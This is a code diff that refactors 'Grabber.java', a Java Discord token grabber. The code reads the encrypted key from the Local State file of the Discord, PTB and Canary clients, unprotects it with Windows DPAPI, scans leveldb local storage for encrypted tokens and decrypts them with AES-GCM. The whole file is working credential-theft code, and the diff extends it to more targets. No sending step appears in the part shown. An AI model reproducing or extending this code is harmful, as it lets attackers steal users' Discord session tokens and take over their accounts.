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Update Grabber.java #6

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73 changes: 40 additions & 33 deletions Grabber.java
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Original file line number Diff line number Diff line change
@@ -1,9 +1,8 @@
import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.util.Arrays;
import java.util.ArrayList;
import java.util.Base64;
import java.util.LinkedList;
import java.util.List;

import javax.crypto.Cipher;
Expand All @@ -15,57 +14,65 @@
public class Grabber {

public static List<String> getTokens() {
String key = Key();
List<String> token = Tokens();
if(key == null) return null;
if(token == null) return null;
LinkedList<String> tokens = new LinkedList<String>();
for(String s : token) {
try {
byte[] z = Base64.getDecoder().decode(key);
byte[] y = Arrays.copyOfRange(z, 5, z.length);
tokens.add(decrypt(Base64.getDecoder().decode(s), y));
} catch (Exception e) {}
List<String> tokens = new ArrayList<>();
String[] appNames = {"discord", "discordptb", "discordcanary"};

for (String appName : appNames) {
List<String> appTokens = getTokensForApp(appName);
if (appTokens != null) {
tokens.addAll(appTokens);
}
}

return tokens;
}


private static List<String> Tokens() {
LinkedList<String> token = new LinkedList<String>();
private static List<String> getTokensForApp(String appName) {
String key = getKeyForApp(appName);
if (key == null) {
return null;
}

String regex = "dQw4w9WgXcQ:";
File[] files = new File(System.getenv("APPDATA") + "\\discord\\Local Storage\\leveldb\\").listFiles();
File[] files = new File(System.getenv("APPDATA") + "\\" + appName + "\\Local Storage\\leveldb\\").listFiles();
List<String> tokens = new ArrayList<>();

for (File file : files) {
try {
try (BufferedReader br = new BufferedReader(new FileReader(file))) {
String line;
while ((line = br.readLine()) != null) if (line.contains(regex)) token.add(line.split(regex)[1].split("\"")[0]);
try {
try (BufferedReader br = new BufferedReader(new FileReader(file))) {
String line;
while ((line = br.readLine()) != null) {
if (line.contains(regex)) {
tokens.add(line.split(regex)[1].split("\"")[0]);
}
}
} catch (Exception e) {}
}
} catch (Exception e) {}
}
return token;

return tokens;
}

private static String Key() {
private static String getKeyForApp(String appName) {
try {
try (BufferedReader brs = new BufferedReader(new FileReader(new File(System.getenv("APPDATA") + "\\discord\\Local State")))) {
String line;
while ((line = brs.readLine()) != null) {
return new JSONObject(line).getJSONObject("os_crypt").getString("encrypted_key");
try (BufferedReader brs = new BufferedReader(new FileReader(new File(System.getenv("APPDATA") + "\\" + appName + "\\Local State")))) {
String line;
while ((line = brs.readLine()) != null) {
return new JSONObject(line).getJSONObject("os_crypt").getString("encrypted_key");
}
}
}
} catch (Exception e) {}
return null;
}

private static String decrypt(byte[] token, byte[] key) throws Exception {
byte[] finalKey = Crypt32Util.cryptUnprotectData(key);
byte[] finaltoken = new byte[12];
for (int i = 0; i < 12; i++) finaltoken[i] = token[i + 3];
byte[] finalToken = new byte[12];
System.arraycopy(token, 3, finalToken, 0, 12);
byte[] data = new byte[token.length - 15];
for (int i = 0; i < data.length; i++) data[i] = token[i + 15];
System.arraycopy(token, 15, data, 0, data.length);
Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
cipher.init(Cipher.DECRYPT_MODE, new SecretKeySpec(finalKey, "AES"), new GCMParameterSpec(128, finaltoken));
cipher.init(Cipher.DECRYPT_MODE, new SecretKeySpec(finalKey, "AES"), new GCMParameterSpec(128, finalToken));
return new String(cipher.doFinal(data));
}
}